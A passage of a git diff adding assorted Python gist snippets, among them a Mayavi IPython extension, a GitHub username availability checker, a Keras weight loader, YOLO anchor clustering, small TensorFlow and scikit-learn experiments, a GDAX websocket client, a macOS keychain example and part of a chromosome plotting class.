+    """shortcut for `mayavi.mlab.show(stop=True)`"""
+
+    if sys.platform != "darwin":
+        print("Warning: Since linux uses offscreen rendering, imayavi_show()\n"
+              "won't work. To interact with a plot, turn off\n"
+              "offscreen rendering and recreate the plot. Remember to\n"
+              "re-enable offscreen rendering if making future inline plots.\n",
+              file=sys.stderr)
+
+    if fig is None:
+        fig = mlab.gcf()
+    imayavi_show_window(fig)
+    if size is not None:
+        _resize_window(size, fig=fig)
+    mlab.show(stop=stop)
+
+def imayavi_remove_source(src):
+    """Safely remove a specific vtk source
+
+    Args:
+        src (vtk_data_source): vtk data source to remove
+    """
+    src.stop()
+    try:
+        try:
+            src.data.release_data()
+        except TraitError:
+            src.data.release_data_flag = 1
+        src.cell_scalars_name = ''
+        src.cell_tensors_name = ''
+        src.cell_vectors_name = ''
+        src.point_scalars_name = ''
+        src.point_tensors_name = ''
+        src.point_vectors_name = ''
+    except AttributeError:
+        pass
+    src.start()
+    src.stop()
+    src.remove()
+
+def imayavi_clear_data(scenes=None):
+    """Workaround for Mayavi / VTK memory leak
+
+    This is needed when Mayavi/VTK keeps a reference to source data
+    when you would expect it to be freed like on a call to `mlab.clf()`
+    or when removing sources from the pipeline.
+
+    Note:
+        This must be called when the pipeline still has the source, so
+        before a call to `mlab.clf()`, etc.
+
+    1. Set release_data_flag on all sources' data
+    2. Remove reference to the data
+    3. Remove the data source
+
+    Args:
+        scene (None, mayavi.core.scene.Scene, or 'all'): if None, gets
+            current scene; if Scene object, just that one; if 'all',
+            act on all scenes in the current engine. Can also be a list
+            of Scene objects
+    """
+
+    if scenes is None:
+        scenes = [mlab.get_engine().current_scene]
+    elif scenes == "all":
+        scenes = mlab.get_engine().scenes
+
+    if not isinstance(scenes, (list, tuple)):
+        scenes = [scenes]
+    if all(s is None for s in scenes):
+        return
+
+    for s in scenes:
+        s.stop()
+        for child in list(s.children):
+            imayavi_remove_source(child)
+        s.start()
+    return
+
+def load_ipython_extension(ipython):
+    ipython.enable_matplotlib(gui="inline")
+
+    # linux needs to render offscreen, OS X + Qt apparently doesn't
+    global _prev_offscreen_state  # pylint: disable=global-statement
+    _prev_offscreen_state = mlab.options.offscreen
+    if sys.platform != "darwin":
+        mlab.options.offscreen = True
+
+    ipython.push("mayavi", interactive=True)
+    ipython.push("mlab", interactive=True)
+    ipython.push("imayavi_show_inline", interactive=True)
+    ipython.push("imayavi_show", interactive=True)
+    ipython.push("imayavi_remove_source", interactive=True)
+    ipython.push("imayavi_clear_data", interactive=True)
+    ipython.push("imayavi_show_window", interactive=True)
+    ipython.push("imayavi_hide_window", interactive=True)
+
+def unload_ipython_extension(ipython):
+    if sys.platform != "darwin":
+        mlab.options.offscreen = _prev_offscreen_state
+
+    ipython.drop_by_id(dict(imayavi_show_inline=imayavi_show_inline,
+                            imayavi_show=imayavi_show,
+                            imayavi_remove_source=imayavi_remove_source,
+                            imayavi_clear_data=imayavi_clear_data,
+                            imayavi_show_window=imayavi_show_window,
+                            imayavi_hide_window=imayavi_hide_window))
+
+##
+## EOF
+##
diff --git a/hard-gists/e4907ccc9f6c1bb49b17/._snippet.py b/hard-gists/e4907ccc9f6c1bb49b17/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/e4907ccc9f6c1bb49b17/._snippet.py differ
diff --git a/hard-gists/e4907ccc9f6c1bb49b17/snippet.py b/hard-gists/e4907ccc9f6c1bb49b17/snippet.py
new file mode 100644
index 00000000..3b148c4e
--- /dev/null
+++ b/hard-gists/e4907ccc9f6c1bb49b17/snippet.py
@@ -0,0 +1,23 @@
+from itertools import product
+from sys import argv
+from random import shuffle
+from urllib.request import urlopen
+from urllib.error import HTTPError
+
+
+def main(args):
+    letters = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u',
+               'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9']
+    combinations = [''.join(i) for i in product(letters, repeat=(int(args[1]) if len(args) > 1 else 2))]
+
+    shuffle(combinations)
+
+    for username in combinations:
+        try:
+            urlopen('https://github.com/' + username)
+        except HTTPError:
+            print(username + " is available!")
+
+
+if __name__ == '__main__':
+    main(argv)
diff --git a/hard-gists/e522b44a1dc7d3a388d4386d416747f5/._snippet.py b/hard-gists/e522b44a1dc7d3a388d4386d416747f5/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/e522b44a1dc7d3a388d4386d416747f5/._snippet.py differ
diff --git a/hard-gists/e522b44a1dc7d3a388d4386d416747f5/snippet.py b/hard-gists/e522b44a1dc7d3a388d4386d416747f5/snippet.py
new file mode 100644
index 00000000..fe3f8963
--- /dev/null
+++ b/hard-gists/e522b44a1dc7d3a388d4386d416747f5/snippet.py
@@ -0,0 +1,111 @@
+import numpy as np
+import h5py
+import keras.backend as K
+
+def str_shape(x):
+    return 'x'.join(map(str, x.shape))
+
+def load_weights(model, filepath, lookup={}, ignore=[], transform=None, verbose=True):
+    """Modified version of keras load_weights that loads as much as it can.
+    Useful for transfer learning.
+
+    read the weights of layers stored in file and copy them to a model layer.
+    the name of each layer is used to match the file's layers with the model's.
+    It is possible to have layers in the model that dont appear in the file..
+
+    The loading stopps if a problem is encountered and the weights of the
+    file layer that first caused the problem are returned.
+
+    # Arguments
+        model: Model
+            target
+        filepath: str
+            source hdf5 file
+        lookup: dict (optional)
+            by default, the weights of each layer in the file are copied to the
+            layer with the same name in the model. Using lookup you can replace
+            the file name with a different model layer name, or to a list of
+            model layer names, in which case the same weights will be copied
+            to all layer models.
+        ignore: list (optional)
+            list of model layer names to ignore in
+        transform: None (optional)
+            This is an optional function that receives the list of weighs
+            read from a layer in the file and the model layer object to which
+            these weights should be loaded.
+        verbose: bool
+            high recommended to keep this true and to follow the print messages.
+
+    # Returns
+        weights of the file layer which first caused the load to abort or None
+        on successful load.
+
+    """
+    if verbose:
+        print 'Loading', filepath, 'to', model.name
+    flattened_layers = model.layers
+    with h5py.File(filepath, mode='r') as f:
+        # new file format
+        layer_names = [n.decode('utf8') for n in f.attrs['layer_names']]
+
+        # we batch weight value assignments in a single backend call
+        # which provides a speedup in TensorFlow.
+        weight_value_tuples = []
+        for name in layer_names:
+            if verbose:
+                print name,
+            g = f[name]
+            weight_names = [n.decode('utf8') for n in
+                            g.attrs['weight_names']]
+            if len(weight_names):
+                weight_values = [g[weight_name] for weight_name in
+                                 weight_names]
+                if verbose:
+                    print 'loading', ' '.join(
+                            str_shape(w) for w in weight_values),
+                target_names = lookup.get(name, name)
+                if isinstance(target_names, basestring):
+                    target_names = [target_names]
+                # handle the case were lookup asks to send the same weight to multiple layers
+                target_names = [target_name for target_name in target_names if
+                                target_name == name or target_name not in layer_names]
+                for target_name in target_names:
+                    if verbose:
+                        print target_name,
+                    try:
+                        layer = model.get_layer(name=target_name)
+                    except:
+                        layer = None
+                    if layer:
+                        # the same weight_values are copied to each of the target layers
+                        symbolic_weights = layer.trainable_weights + layer.non_trainable_weights
+
+                        if transform is not None:
+                            transformed_weight_values = transform(weight_values, layer)
+                            if transformed_weight_values is not None:
+                                if verbose:
+                                    print '(%d->%d)'%(len(weight_values),len(transformed_weight_values)),
+                                weight_values = transformed_weight_values
+
+                        problem = len(symbolic_weights) != len(weight_values)
+                        if problem and verbose:
+                            print '(bad #wgts)',
+                        if not problem:
+                            weight_value_tuples += zip(symbolic_weights, weight_values)
+                    else:
+                        problem = True
+                    if problem:
+                        if verbose:
+                            if name in ignore or ignore == '*':
+                                print '(skipping)',
+                            else:
+                                print 'ABORT'
+                        if not (name in ignore or ignore == '*'):
+                            K.batch_set_value(weight_value_tuples)
+                            return [np.array(w) for w in weight_values]
+                if verbose:
+                    print
+            else:
+                if verbose:
+                    print 'skipping this is empty file layer'
+        K.batch_set_value(weight_value_tuples)
\ No newline at end of file
diff --git a/hard-gists/e530dc9767d8f83c08f3582c71a5cbc8/._snippet.py b/hard-gists/e530dc9767d8f83c08f3582c71a5cbc8/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/e530dc9767d8f83c08f3582c71a5cbc8/._snippet.py differ
diff --git a/hard-gists/e530dc9767d8f83c08f3582c71a5cbc8/snippet.py b/hard-gists/e530dc9767d8f83c08f3582c71a5cbc8/snippet.py
new file mode 100644
index 00000000..cfab4603
--- /dev/null
+++ b/hard-gists/e530dc9767d8f83c08f3582c71a5cbc8/snippet.py
@@ -0,0 +1,145 @@
+# -*- coding: utf-8 -*-
+
+from __future__ import absolute_import
+from __future__ import division
+from __future__ import print_function
+
+import argparse
+import numpy as np
+import os
+import random
+from tqdm import tqdm 
+import sklearn.cluster as cluster
+
+
+def iou(x, centroids):
+    dists = []
+    for centroid in centroids:
+        c_w, c_h = centroid
+        w, h = x
+        if c_w >= w and c_h >= h:
+            dist = w * h / (c_w * c_h)
+        elif c_w >= w and c_h <= h:
+            dist = w * c_h / (w * h + (c_w - w) * c_h)
+        elif c_w <= w and c_h >= h:
+            dist = c_w * h / (w * h + c_w * (c_h - h))
+        else:  # means both w,h are bigger than c_w and c_h respectively
+            dist = (c_w * c_h) / (w * h)
+        dists.append(dist)
+    return np.array(dists)
+
+
+def avg_iou(x, centroids):
+    n, d = x.shape
+    sums = 0.
+    for i in range(x.shape[0]):
+        # note IOU() will return array which contains IoU for each centroid and X[i]
+        # slightly ineffective, but I am too lazy
+        sums += max(iou(x[i], centroids))
+    return sums / n
+
+
+def write_anchors_to_file(centroids, distance, anchor_file):
+    anchors = centroids * 416 / 32      # I do not know whi it is 416/32
+    anchors = [str(i) for i in anchors.ravel()]
+    print(
+        "\n",
+        "Cluster Result:\n",
+        "Clusters:", len(centroids), "\n",
+        "Average IoU:", distance, "\n",
+        "Anchors:\n",
+        ", ".join(anchors)
+    )
+
+    with open(anchor_file, 'w') as f:
+        f.write(", ".join(anchors))
+        f.write('\n%f\n' % distance)
+
+
+def k_means(x, n_clusters, eps):
+    init_index = [random.randrange(x.shape[0]) for _ in range(n_clusters)]
+    centroids = x[init_index]
+
+    d = old_d = []
+    iterations = 0
+    diff = 1e10
+    c, dim = centroids.shape
+
+    while True:
+        iterations += 1
+        d = np.array([1 - iou(i, centroids) for i in x])
+        if len(old_d) > 0:
+            diff = np.sum(np.abs(d - old_d))
+
+        print('diff = %f' % diff)
+
+        if diff < eps or iterations > 1000:
+            print("Number of iterations took = %d" % iterations)
+            print("Centroids = ", centroids)
+            return centroids
+
+        # assign samples to centroids
+        belonging_centroids = np.argmin(d, axis=1)
+
+        # calculate the new centroids
+        centroid_sums = np.zeros((c, dim), np.float)
+        for i in range(belonging_centroids.shape[0]):
+            centroid_sums[belonging_centroids[i]] += x[i]
+
+        for j in range(c):
+            centroids[j] = centroid_sums[j] / np.sum(belonging_centroids == j)
+
+        old_d = d.copy()
+
+
+def get_file_content(fnm):
+    with open(fnm) as f:
+        return [line.strip() for line in f]
+
+
+def main(args):
+    print("Reading Data ...")
+
+    file_list = []
+    for f in args.file_list:
+        file_list.extend(get_file_content(f))
+
+    data = []
+    for one_file in tqdm(file_list):
+        one_file = one_file.replace('images', 'labels') \
+            .replace('JPEGImages', 'labels') \
+            .replace('.png', '.txt') \
+            .replace('.jpg', '.txt')
+        for line in get_file_content(one_file):
+            clazz, xx, yy, w, h = line.split()
+            data.append([float(w),float(h)]) 
+
+    data = np.array(data)
+    if args.engine.startswith("sklearn"):
+        if args.engine == "sklearn":
+            km = cluster.KMeans(n_clusters=args.num_clusters, tol=args.tol, verbose=True)
+        elif args.engine == "sklearn-mini":
+            km = cluster.MiniBatchKMeans(n_clusters=args.num_clusters, tol=args.tol, verbose=True)
+        km.fit(data)
+        result = km.cluster_centers_
+        # distance = km.inertia_ / data.shape[0]
+        distance = avg_iou(data, result)
+    else:
+        result = k_means(data, args.num_clusters, args.tol)
+        distance = avg_iou(data, result)
+
+    write_anchors_to_file(result, distance, args.output)
+
+
+if "__main__" == __name__:
+    parser = argparse.ArgumentParser()
+    parser.add_argument('file_list', nargs='+', help='TrainList')
+    parser.add_argument('--num_clusters', '-n', default=5, type=int, help='Number of Clusters')
+    parser.add_argument('--output', '-o', default='../results/anchor.txt', type=str, help='Result Output File')
+    parser.add_argument('--tol', '-t', default=0.005, type=float, help='Tolerate')
+    parser.add_argument('--engine', '-m', default='sklearn', type=str,
+                        choices=['original', 'sklearn', 'sklearn-mini'], help='Method to use')
+
+    args = parser.parse_args()
+
+    main(args)
\ No newline at end of file
diff --git a/hard-gists/e53a70f9e5c3f55852b0/._snippet.py b/hard-gists/e53a70f9e5c3f55852b0/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/e53a70f9e5c3f55852b0/._snippet.py differ
diff --git a/hard-gists/e53a70f9e5c3f55852b0/snippet.py b/hard-gists/e53a70f9e5c3f55852b0/snippet.py
new file mode 100644
index 00000000..34a96531
--- /dev/null
+++ b/hard-gists/e53a70f9e5c3f55852b0/snippet.py
@@ -0,0 +1,91 @@
+# Implementation of a simple MLP network with one hidden layer. Tested on the iris data set.
+# Requires: numpy, sklearn>=0.18.1, tensorflow>=1.0
+
+# NOTE: In order to make the code simple, we rewrite x * W_1 + b_1 = x' * W_1'
+# where x' = [x | 1] and W_1' is the matrix W_1 appended with a new row with elements b_1's.
+# Similarly, for h * W_2 + b_2
+import tensorflow as tf
+import numpy as np
+from sklearn import datasets
+from sklearn.model_selection import train_test_split
+
+RANDOM_SEED = 42
+tf.set_random_seed(RANDOM_SEED)
+
+
+def init_weights(shape):
+    """ Weight initialization """
+    weights = tf.random_normal(shape, stddev=0.1)
+    return tf.Variable(weights)
+
+def forwardprop(X, w_1, w_2):
+    """
+    Forward-propagation.
+    IMPORTANT: yhat is not softmax since TensorFlow's softmax_cross_entropy_with_logits() does that internally.
+    """
+    h    = tf.nn.sigmoid(tf.matmul(X, w_1))  # The \sigma function
+    yhat = tf.matmul(h, w_2)  # The \varphi function
+    return yhat
+
+def get_iris_data():
+    """ Read the iris data set and split them into training and test sets """
+    iris   = datasets.load_iris()
+    data   = iris["data"]
+    target = iris["target"]
+
+    # Prepend the column of 1s for bias
+    N, M  = data.shape
+    all_X = np.ones((N, M + 1))
+    all_X[:, 1:] = data
+
+    # Convert into one-hot vectors
+    num_labels = len(np.unique(target))
+    all_Y = np.eye(num_labels)[target]  # One liner trick!
+    return train_test_split(all_X, all_Y, test_size=0.33, random_state=RANDOM_SEED)
+
+def main():
+    train_X, test_X, train_y, test_y = get_iris_data()
+
+    # Layer's sizes
+    x_size = train_X.shape[1]   # Number of input nodes: 4 features and 1 bias
+    h_size = 256                # Number of hidden nodes
+    y_size = train_y.shape[1]   # Number of outcomes (3 iris flowers)
+
+    # Symbols
+    X = tf.placeholder("float", shape=[None, x_size])
+    y = tf.placeholder("float", shape=[None, y_size])
+
+    # Weight initializations
+    w_1 = init_weights((x_size, h_size))
+    w_2 = init_weights((h_size, y_size))
+
+    # Forward propagation
+    yhat    = forwardprop(X, w_1, w_2)
+    predict = tf.argmax(yhat, axis=1)
+
+    # Backward propagation
+    cost    = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(labels=y, logits=yhat))
+    updates = tf.train.GradientDescentOptimizer(0.01).minimize(cost)
+
+    # Run SGD
+    sess = tf.Session()
+    init = tf.global_variables_initializer()
+    sess.run(init)
+
+    for epoch in range(100):
+        # Train with each example
+        for i in range(len(train_X)):
+            sess.run(updates, feed_dict={X: train_X[i: i + 1], y: train_y[i: i + 1]})
+
+        train_accuracy = np.mean(np.argmax(train_y, axis=1) ==
+                                 sess.run(predict, feed_dict={X: train_X, y: train_y}))
+        test_accuracy  = np.mean(np.argmax(test_y, axis=1) ==
+                                 sess.run(predict, feed_dict={X: test_X, y: test_y}))
+
+        print("Epoch = %d, train accuracy = %.2f%%, test accuracy = %.2f%%"
+              % (epoch + 1, 100. * train_accuracy, 100. * test_accuracy))
+
+    sess.close()
+
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/e542b181be28d168ba177c9b8e3787b6/._snippet.py b/hard-gists/e542b181be28d168ba177c9b8e3787b6/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/e542b181be28d168ba177c9b8e3787b6/._snippet.py differ
diff --git a/hard-gists/e542b181be28d168ba177c9b8e3787b6/snippet.py b/hard-gists/e542b181be28d168ba177c9b8e3787b6/snippet.py
new file mode 100644
index 00000000..2da0eb8b
--- /dev/null
+++ b/hard-gists/e542b181be28d168ba177c9b8e3787b6/snippet.py
@@ -0,0 +1,78 @@
+import numpy as np
+import sklearn.datasets
+import sklearn.ensemble
+import xgboost
+
+N_TRAIN = 60000
+NS_ITERATIONS = [2 ** k for k in range(8)]
+
+MODELS = [
+    ('RandomForestClassifier', sklearn.ensemble.RandomForestClassifier, {'n_jobs': -1}),
+    ('ExtraTreesClassifier', sklearn.ensemble.ExtraTreesClassifier, {'n_jobs': -1}),
+    ('XGBClassifier', xgboost.XGBClassifier, {}),
+]
+
+"""
+MODELS = [
+    ('XGBClassifier, max_depth={}'.format(d), xgboost.XGBClassifier, {'max_depth': d})
+    for d in [4 ** e for e in range(4)]
+]
+"""
+
+
+def doit(shuffled):
+    mnist = sklearn.datasets.fetch_mldata('MNIST original', data_home=".")
+    x, y = mnist.data, mnist.target
+
+    x_train, x_test = x[:N_TRAIN], x[N_TRAIN:]
+    y_train, y_test = y[:N_TRAIN], y[N_TRAIN:]
+    if shuffled:
+        y_train = np.random.permutation(y_train)
+    
+    result = []
+    for model_name, model_class, model_kwargs in MODELS:
+        score_train, score_test = [], []
+        for n_iterations in NS_ITERATIONS:
+            model_obj = model_class(n_estimators=n_iterations, **model_kwargs)
+            model_obj.fit(x_train, y_train)
+            score_train.append(model_obj.score(x_train, y_train))
+            score_test.append(model_obj.score(x_test, y_test))
+        result.append((model_name, score_train, score_test))
+
+    return result
+
+
+def main():
+    import matplotlib as mpl
+    mpl.use('Agg')
+    import matplotlib.pyplot as plt
+    import seaborn as sns
+    fig, axs = plt.subplots(2, 1)
+    cp = sns.color_palette()
+
+    for shuffled in range(2):
+        result = doit(shuffled)
+        print(result)
+
+        ax = axs[shuffled]
+        ax.set_title(['Correct labels', 'Random labels'][shuffled])
+        ax.set_ylabel('Accuracy')
+        ax.set_xlabel('Number of trees')
+        ax.set_xscale('log', basex=2)
+        ax.set_ylim(0, 1)
+
+        for i, row in enumerate(result):
+            model_name, score_train, score_test = row
+            ax.plot(NS_ITERATIONS, score_train, linestyle='solid', marker='o', color=cp[i], lw=2, label='{}, train'.format(model_name), alpha=0.8)
+            ax.plot(NS_ITERATIONS, score_test, linestyle='dashed', marker='s', color=cp[i], lw=2, label='{}, test'.format(model_name), alpha=0.8)
+        
+        ax.legend(loc="upper right", frameon=False, bbox_to_anchor=(2, 1))
+
+    plt.tight_layout()
+    plt.suptitle('Fitting tree-based models to random labels on MNIST', fontsize=20)
+    fig.subplots_adjust(right=0.5, top=0.85)
+    fig.savefig('out.png', dpi=200)
+
+
+if __name__ == '__main__':
+    main()
\ No newline at end of file
diff --git a/hard-gists/e5fe0a832872c2b1cebe473c7cf6fb07/._snippet.py b/hard-gists/e5fe0a832872c2b1cebe473c7cf6fb07/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/e5fe0a832872c2b1cebe473c7cf6fb07/._snippet.py differ
diff --git a/hard-gists/e5fe0a832872c2b1cebe473c7cf6fb07/snippet.py b/hard-gists/e5fe0a832872c2b1cebe473c7cf6fb07/snippet.py
new file mode 100644
index 00000000..6a322e15
--- /dev/null
+++ b/hard-gists/e5fe0a832872c2b1cebe473c7cf6fb07/snippet.py
@@ -0,0 +1,51 @@
+#
+# https://docs.gdax.com/#websocket-feed
+#
+import websocket
+import sys
+from datetime import datetime, timedelta, timezone
+
+import sched, time
+import json
+
+JST = timezone(timedelta(hours=+9), 'JST')
+
+class GdaxStream():
+    endpoint = "wss://ws-feed.gdax.com"
+    def __init__(self):
+        #websocket.enableTrace(True)
+        self.ws = websocket.WebSocketApp(
+                GdaxStream.endpoint,
+                on_message = self.on_message, 
+                on_error = self.on_error, 
+                on_close = self.on_close
+         )
+        self.ws.on_open = self.on_open
+
+        try:
+            self.run()
+        except KeyboardInterrupt:
+            self.ws.close()
+
+    def run(self):
+        print("### run ###")
+        self.ws.run_forever()
+        pass
+
+    def on_message(self, ws, message):
+        now = datetime.now(JST)
+        print(str(now), message)
+    
+    def on_error(self, ws, error):
+        print(error)
+        sys.exit()
+    
+    def on_close(self, ws):
+        print("### closed ###")
+    
+    def on_open(self, ws):
+        print("### open ###")
+        ws.send(json.dumps({"type": "subscribe","product_ids": ["BTC-USD"]}))
+
+if __name__=="__main__":
+    GdaxStream()
\ No newline at end of file
diff --git a/hard-gists/e61631ea83c958befa5db92f8bde527d/._snippet.py b/hard-gists/e61631ea83c958befa5db92f8bde527d/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/e61631ea83c958befa5db92f8bde527d/._snippet.py differ
diff --git a/hard-gists/e61631ea83c958befa5db92f8bde527d/snippet.py b/hard-gists/e61631ea83c958befa5db92f8bde527d/snippet.py
new file mode 100644
index 00000000..fa19af18
--- /dev/null
+++ b/hard-gists/e61631ea83c958befa5db92f8bde527d/snippet.py
@@ -0,0 +1,39 @@
+import objc
+from ctypes import c_char
+from Foundation import NSBundle
+Security = NSBundle.bundleWithIdentifier_('com.apple.security')
+
+S_functions = [
+               ('SecKeychainGetTypeID', 'I'),
+               ('SecKeychainItemGetTypeID', 'I'),
+               ('SecKeychainAddGenericPassword', 'i^{OpaqueSecKeychainRef=}I*I*I*o^^{OpaqueSecKeychainItemRef}'),
+               ('SecKeychainOpen', 'i*o^^{OpaqueSecKeychainRef}'),
+               ('SecKeychainFindGenericPassword', 'i@I*I*o^Io^^{OpaquePassBuff}o^^{OpaqueSecKeychainItemRef}'),
+              ]
+
+objc.loadBundleFunctions(Security, globals(), S_functions)
+
+SecKeychainRef     = objc.registerCFSignature('SecKeychainRef',     '^{OpaqueSecKeychainRef=}',     SecKeychainGetTypeID())
+SecKeychainItemRef = objc.registerCFSignature('SecKeychainItemRef', '^{OpaqueSecKeychainItemRef=}', SecKeychainItemGetTypeID())
+PassBuffRef = objc.createOpaquePointerType("PassBuffRef", b"^{OpaquePassBuff=}", None)
+
+def resolve_password(password_length, password_buffer):
+    return (c_char*password_length).from_address(password_buffer.__pointer__)[:].decode('utf-8')
+
+# Get the login keychain
+result, login_keychain = SecKeychainOpen('login.keychain', None)
+
+# Password details - service is the display name, acccount is the account name/user name
+svc_n = "test-service"
+act_n = "test-account"
+
+# Store a password
+act_p = "test-pass"
+result, keychain_item = SecKeychainAddGenericPassword(login_keychain, len(svc_n), svc_n, len(act_n), act_n, len(act_p), act_p, None)
+
+# Retrieve a password
+result, password_length, password_buffer, keychain_item = SecKeychainFindGenericPassword(login_keychain, len(svc_n), svc_n, len(act_n), act_n, None, None, None)
+password = None
+if (result == 0) and (password_length != 0):
+    # We apparently were able to find a password
+    password = resolve_password(password_length, password_buffer)
diff --git a/hard-gists/e625e7ba482efdb670501cf401a2b6e9/._snippet.py b/hard-gists/e625e7ba482efdb670501cf401a2b6e9/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/e625e7ba482efdb670501cf401a2b6e9/._snippet.py differ
diff --git a/hard-gists/e625e7ba482efdb670501cf401a2b6e9/snippet.py b/hard-gists/e625e7ba482efdb670501cf401a2b6e9/snippet.py
new file mode 100644
index 00000000..a4bb7b66
--- /dev/null
+++ b/hard-gists/e625e7ba482efdb670501cf401a2b6e9/snippet.py
@@ -0,0 +1,279 @@
+import numpy as np
+import matplotlib as mpl
+import matplotlib.pyplot as plt
+import pandas as pd  # Not used here but will be required for creating dataframe
+import re
+import seaborn.apionly as sns
+
+"""
+MIT License
+
+Copyright (c) [2016] [Parashar Dhapola]
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
+"""
+
+__author__ = "Parashar Dhapola"
+__email__ = "parashar.dhapola@gmail.com"
+
+
+class ChromVis(object):
+
+    chromInfo = {
+        'hg38': {
+            'lengths': {
+                'chr1': 248956422, 'chr2': 242193529, 'chr3': 198295559,
+                'chr4': 190214555, 'chr5': 181538259, 'chr6': 170805979,
+                'chr7': 159345973, 'chr8': 145138636, 'chr9': 138394717,
+                'chr10': 133797422, 'chr11': 135086622, 'chr12': 133275309,
+                'chr13': 114364328, 'chr14': 107043718, 'chr15': 101991189,
+                'chr16': 90338345, 'chr17': 83257441, 'chr18': 80373285,
+                'chr19': 58617616, 'chr20': 64444167, 'chr21': 46709983,
+                'chr22': 50818468, 'chrX': 156040895, 'chrY': 57227415
+            },
+            'centromeres': {
+                'chr1': 123400000, 'chr10': 39800000, 'chr11': 53400000,
+                'chr12': 35500000, 'chr13': 17700000, 'chr14': 17200000,
+                'chr15': 19000000, 'chr16': 36800000, 'chr17': 25100000,
+                'chr18': 18500000, 'chr19': 26200000, 'chr2': 93900000,
+                'chr20': 28100000, 'chr21': 12000000, 'chr22': 15000000,
+                'chr3': 90900000, 'chr4': 50000000, 'chr5': 48800000,
+                'chr6': 59800000, 'chr7': 60100000, 'chr8': 45200000,
+                'chr9': 43000000, 'chrX': 61000000, 'chrY': 10400000
+            }
+        }
+    }
+
+    def __init__(self, data, chromosomes='all', chromosome_lengths='hg38',
+                 centromere_pos='hg38', height=15, width=15, descaling_factor=1000,
+                 val_scaling_factor=10, grid_ratio=[1, 1, 8], chrom_spacing=0.1,
+                 bar_lim=1, max_val=None, seaborn_palette='muted'):
+        """
+        Args:
+            data: A pandas dataframe with three columns compulsary columns:
+                    'chromosomes': Chromosome name
+                    'positions': position of feature on chromosome in bases
+                    '<sample_name>': Value at the corresponding position for a
+                                     given sample. Should be positive intergers.
+                     ..'<sample_name>': Further sample values might be added in
+                                        additional columns.
+            chromosomes: Chromosome name in the order to be plotted.
+            chromosome_lengths: List of length of each chromosome in order
+                                given in argument 'chroms'. If a string is provided
+                                than the class attribute 'chromInfo' (dict) is
+                                looked up for the key.
+            centromere_pos: List containing the position of centromeres
+                            (center of centromere to be indicated).If a string is
+                            provided than the class attribute 'chromInfo' (dict)
+                            is looked up for the key.
+            height: Figure height in inches.
+            width: Figure width in inches.
+            descaling_factor: The longest chromosome is descaled to this length
+            val_scaling_factor:  A multiplication factor for values. Increasing this
+                                 will make the vertical bars over chromosomes taller.
+            grid_ratio: A list of three integer values defining the the width
+                        ratio of columns in the figure. First column
+                        containing the chromsome name, second contains the bar
+                        plots for sum of values plotted in each chromosome and
+                        the third the annotated chromosomes.
+            chrom_spacing: Spacing between chromosomes.
+            max_val: If set to none, the maximum value is automatically found from
+                     the dataframe. This value is used to normalize the rest values
+                     to set the scale to one, which might be further increased using
+                     'val_scaling_factor' . However, in certain cases where user wants
+                     to plot to chromosome maps and compare there values, this might
+                     be set.
+            seaborn_palette: Seaborn color palette
+        """
+        self.data = data
+        self.chroms = chromosomes
+        self.chromLengths = chromosome_lengths
+        self.centromerePos = centromere_pos
+        self.figHeight = height
+        self.figWidth = width
+        self.descalingFactor = descaling_factor
+        self.valScalingFactor = val_scaling_factor
+        self.gridRatio = grid_ratio
+        self.chromSpacing = chrom_spacing
+        self.colorPalette = seaborn_palette
+
+        if self._sanitize() is True:
+            self.maxChromLen = self._get_max_chrom_len()
+            self.maxVal = self._get_max_val()
+            self.figure = self._make_canvas()
+            self.grid = self._make_grid()
+            self.sampleNames = self._get_sample_names()
+            self.barVals, self.maxBarVal = self._make_bar_values()
+            self.colors = self._make_colors()
+
+            for n, c in enumerate(self.chroms):
+                self.curChromName = c
+                self.curChromNum = n
+                self.curChromScaledLen = self._get_chrom_scaled_len()
+                self.curCenPos = self._get_centromere_position()
+                self.curPositions, self.curValues = self._get_chrom_data()
+                _ = self._make_label_axis()
+                _ = self._make_bar_axis()
+                _ = self._make_chrom_axis()
+        else:
+            print "ERROR"
+
+    @staticmethod
+    def _clean_axis(ax):
+        ax.set_yticklabels([])
+        ax.set_xticklabels([])
+        ax.set_xticks([])
+        ax.set_yticks([])
+        for i in ax.spines:
+            ax.spines[i].set_visible(False)
+        return True
+
+    @staticmethod
+    def _natsort(l):
+        convert = lambda text: int(text) if text.isdigit() else text
+        alphanum_key = lambda key: [convert(c) for c in re.split('([0-9]+)', key)]
+        return sorted(l, key=alphanum_key)
+
+    def _sanitize(self):
+        if type(self.chroms) is list:
+            pass
+        else:
+            if self.chroms == 'all':
+                self.chroms = ChromVis._natsort(list(set(
+                    self.data.chromosomes.values)))
+            else:
+                pass
+        if type(self.chromLengths) is list:
+            pass
+        else:
